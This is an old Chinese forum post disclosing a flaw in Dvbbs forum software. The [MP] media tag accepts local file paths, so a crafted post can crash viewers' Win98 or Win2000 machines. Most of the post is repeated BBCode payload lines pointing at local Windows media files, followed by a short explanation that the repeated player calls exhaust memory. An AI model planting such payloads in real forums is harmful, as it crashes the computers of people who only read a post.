|
楼主 |
发表于 2003-9-15 18:16:57
|
显示全部楼层
<
[强烈建议]会员请看
[这个贴子最后由ciker在 2003/09/15 06:24pm 第 1 次编辑]
动网论坛可以使用多媒体标签 添加背景音乐
例如 [MP=500,350]http://[/MP]:为插入为midia player格式的文件,中间的数字为宽度和长度
但是它并没有对本地的地址做过滤 致使 可以构造恶意的标签 造成浏览帖子的人 死机
测试方法:
将以下文字写入帖子内会造成Win98死机
[mp=0,0]c:\windows\Media\贝多芬第五交响乐.Rmi[/mp]
[mp=0,0]d:\windows\Media\贝多芬第五交响乐.Rmi[/mp]
[mp=0,0]c:\windows\Media\贝多芬第五交响乐.Rmi[/mp]
[mp=0,0]d:\windows\Media\贝多芬第五交响乐.Rmi[/mp]
[mp=0,0]c:\windows\Media\贝多芬第五交响乐.Rmi[/mp]
[mp=0,0]d:\windows\Media\贝多芬第五交响乐.Rmi[/mp]
省略N个复制
将以下文字写入帖子内会造成Win2000死机
[mp=0,0]c:\winnt\Media\贝多芬第五交响乐.Rmi[/mp]
[mp=0,0]d:\winnt\Media\贝多芬第五交响乐.Rmi[/mp]
[mp=0,0]c:\winnt\Media\贝多芬第五交响乐.Rmi[/mp]
[mp=0,0]d:\winnt\Media\贝多芬第五交响乐.Rmi[/mp]
省略N个复制
原理:
因为不断的调用播放器播放本地文件 造成内存耗尽
[mp=0,0]c:\windows\Media\贝多芬第五交响乐.Rmi[/mp] 这些是我编译的些代码,我就没上传了。
以前在测试的时候是在FLASH签名上有这样的问题,现在经测试,发现多个问题。
|
|